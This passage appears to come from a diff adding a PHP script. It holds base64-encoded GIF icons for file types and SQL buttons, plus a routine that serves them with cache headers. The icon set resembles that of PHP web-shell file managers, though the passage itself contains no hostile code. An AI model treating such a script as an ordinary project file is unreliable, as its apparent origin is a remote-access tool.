+
+"24Oi1a3B45Sy4ae944Ccz4Sj1n2GlgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAjnACtVCkCw4JxJAQQqFBjAxo0MNGqsABQAh6CFA3nk0MHiRREVDhzsoLQwAJ0gT4ToecSHAYMz".
+
+"aQgoDNCCSB4EAnImCiSBjUyGLobgXBTpkAA5I6pgmSkDz5cuMSz8yWlAyoCZFGb4SQKhASMBXJpM".
+
+"uSrQEQwkGjYkQCTAy6AlUMhWklQBw4MEhgSA6XPgRxS5ii40KLFgi4BGTEKAsCKXihESCzrsgSQC".
+
+"yIkUV+SqOYLCA4csAup86OGDkNw4BpQ4OaBFgB0TEyIUKqDwTRs4a9yMCSOmDBoyZu4sJKCgwIDj".
+
+"yAsokBkQADs=",
+
+"multipage"=>"R0lGODlhCgAMAJEDAP/////3mQAAAAAAACH5BAEAAAMALAAAAAAKAAwAAAIj3IR".
+
+"pJhCODnovidAovBdMzzkixlXdlI2oZpJWEsSywLzRUAAAOw==",
+
+"sort_asc"=>
+
+"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMa".
+
+"SLrcPcE9GKUaQlQ5sN5PloFLJ35OoK6q5SYAOw==",
+
+"sort_desc"=>
+
+"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb".
+
+"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=",
+
+"sql_button_drop"=>
+
+"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
+
+"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
+
+"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
+
+"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
+
+"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
+
+"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
+
+"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
+
+"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
+
+"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
+
+"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
+
+"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
+
+"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
+
+"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA".
+
+"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/".
+
+"AQEAOw==",
+
+"sql_button_empty"=>
+
+"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
+
+"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
+
+"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
+
+"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
+
+"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
+
+"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
+
+"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
+
+"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
+
+"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
+
+"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
+
+"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
+
+"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
+
+"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA".
+
+"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==",
+
+"sql_button_insert"=>
+
+"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/".
+
+"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm".
+
+"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/".
+
+"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm".
+
+"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/".
+
+"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm".
+
+"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/".
+
+"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ".
+
+"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA".
+
+"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ".
+
+"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A".
+
+"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z".
+
+"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA".
+
+"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=",
+
+"up"=>
+
+"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA".
+
+"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg".
+
+"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV".
+
+"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
+
+"write"=>
+
+"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA".
+
+"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze".
+
+"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
+
+"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
+
+"ext_asp"=>
+
+"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
+
+"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI".
+
+"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=",
+
+"ext_mp3"=>
+
+"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU".
+
+"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc".
+
+"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=",
+
+"ext_avi"=>
+
+"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM".
+
+"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4".
+
+"PYXCyg+V2i44XeRmSfYqsGhAAgA7",
+
+"ext_cgi"=>
+
+"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9".
+
+"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6".
+
+"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S".
+
+"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ".
+
+"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM".
+
+"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD".
+
+"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi".
+
+"RYtMAgEAOw==",
+
+"ext_cmd"=>
+
+"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI".
+
+"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN".
+
+"dmrYAMn1onq/YKpjvEgAADs=",
+
+"ext_cpp"=>
+
+"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".
+
+"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra".
+
+"Eq7YrLDE7a4SADs=",
+
+"ext_ini"=>
+
+"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
+
+"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
+
+"SnEjgPVarHEHgrB43JvszsQEADs=",
+
+"ext_diz"=>
+
+"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs".
+
+"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv".
+
+"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3".
+
+"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr".
+
+"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX".
+
+"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA".
+
+"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW".
+
+"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK".
+
+"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm".
+
+"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg".
+
+"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF".
+
+"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA".
+
+"Ow==",
+
+"ext_doc"=>
+
+"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR".
+
+"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq".
+
+"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
+
+"ext_exe"=>
+
+"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
+
+"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
+
+"xhIAOw==",
+
+"ext_h"=>
+
+"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
+
+"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".
+
+"Wq/NknbbSgAAOw==",
+
+"ext_hpp"=>
+
+"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
+
+"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR".
+
+"UqUagnbLdZa+YFcCADs=",
+
+"ext_htaccess"=>
+
+"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6".
+
+"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
+
+"AAA7",
+
+"ext_html"=>
+
+"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz".
+
+"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".
+
+"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk".
+
+"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
+
+"ADs=",
+
+"ext_jpg"=>
+
+"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci".
+
+"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd".
+
+"FxEAOw==",
+
+"ext_js"=>
+
+"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH".
+
+"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs".
+
+"a00AjYYBbc/o9HjNniUAADs=",
+
+"ext_lnk"=>
+
+"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO".
+
+"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi".
+
+"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk".
+
+"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG".
+
+"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5".
+
+"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf".
+
+"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ".
+
+"ADs=",
+
+"ext_log"=>
+
+"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN".
+
+"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
+
+"ext_php"=>
+
+"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg".
+
+"t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==",
+
+"ext_pl"=>
+
+"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
+
+"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
+
+"ext_swf"=>
+
+"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".
+
+"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
+
+"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA".
+
+"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".
+
+"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
+
+"ext_tar"=>
+
+"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC".
+
+"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF".
+
+"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD".
+
+"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p".
+
+"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg".
+
+"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".
+
+"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".
+
+"u4tLAgEAOw==",
+
+"ext_txt"=>
+
+"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
+
+"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
+
+"UpPWG3Ig6Hq/XmRjuZwkAAA7",
+
+"ext_wri"=>
+
+"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
+
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
+
+"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
+
+"ext_xml"=>
+
+"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
+
+"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+
+"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
+
+"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
+
+"IQA7"
+
+ );
+
+ //For simple size- and speed-optimization.
+
+ $imgequals = array(
+
+ "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
+
+ "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
+
+ "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
+
+ "ext_html"=>array("ext_html","ext_htm"),
+
+ "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
+
+ "ext_lnk"=>array("ext_lnk","ext_url"),
+
+ "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
+
+ "ext_doc"=>array("ext_doc","ext_dot"),
+
+ "ext_js"=>array("ext_js","ext_vbs"),
+
+ "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
+
+ "ext_wri"=>array("ext_wri","ext_rtf"),
+
+ "ext_swf"=>array("ext_swf","ext_fla"),
+
+ "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
+
+ "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
+
+ );
+
+ if (!$getall)
+
+ {
+
+ header("Content-type: image/gif");
+
+ header("Cache-control: public");
+
+ header("Cache-control: max-age=".(60*60*24*7));
+
+ header("Last-Modified: ".date("r",filemtime(__FILE__)));
+
+ foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
+
+ if (empty($images[$img])) {$img = "small_unk";}
+
+ if (in_array($img,$ext_tar)) {$img = "ext_tar";}
+
+ echo base64_decode($images[$img]);
+
+ }
+
+ else
+
+ {
+
+ foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."] ");}}}}
+
+ natsort($images);
+
+ $k = array_keys($images);
+
+ echo "";
+
+ foreach ($k as $u) {echo $u.": ";}
+
+ echo " ";
+
+ }
+
+ exit;
+
+}
+
+?>
+
+
+
